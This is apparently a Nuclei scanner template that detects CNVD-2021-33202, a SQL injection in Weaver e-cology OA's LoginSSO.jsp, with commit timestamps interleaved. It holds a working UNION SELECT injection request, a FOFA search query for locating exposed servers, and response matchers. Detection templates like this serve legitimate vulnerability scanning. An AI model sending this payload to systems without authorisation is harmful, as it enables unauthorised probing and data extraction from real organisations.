2023-09-13 11:22:00 +00:00
id : CNVD-2021-33202
info :
name : OA E-Cology LoginSSO.jsp - SQL Injection
author : SleepingBag945
severity : high
description : |
e-cology is an OA office system specially produced for large and medium-sized enterprises. It supports simultaneous office work on PC, mobile and WeChat terminals. There is a SQL injection vulnerability in Panwei e-cology. An attacker could exploit this vulnerability to obtain sensitive information.
reference :
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20LoginSSO.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CNVD-2021-33202.md
- https://www.cnblogs.com/0day-li/p/14637680.html
2024-09-10 08:41:12 +00:00
classification :
cpe : cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
2023-09-13 11:22:00 +00:00
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2023-09-13 11:22:00 +00:00
fofa-query : app="泛微-协同办公OA"
2024-09-10 08:22:50 +00:00
product : e-cology
vendor : weaver
2024-01-14 09:21:50 +00:00
tags : cnvd2021,cnvd,e-cology,sqli
2024-09-10 08:41:12 +00:00
2023-09-13 11:22:00 +00:00
variables :
num : "999999999"
http :
- raw :
- |
GET /upgrade/detail.jsp/login/LoginSSO.jsp?id=1%20UNION%20SELECT%20md5({{num}})%20as%20id%20from%20HrmResourceManager HTTP/1.1
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : body
words :
- '{{md5(num)}}'
- type : status
status :
2023-10-14 11:27:55 +00:00
- 200
2024-09-12 05:14:01 +00:00
# digest: 4b0a0048304602210098433c9c824caabd36a77ae2e9ea85d0b56a74c935677aac06383cff34d38106022100895ca2978b9b62a13caaaebe01aba4789b05bb08e232b049a9f262faaa2308ea:922c64590222798bb761d5b6d8e72950
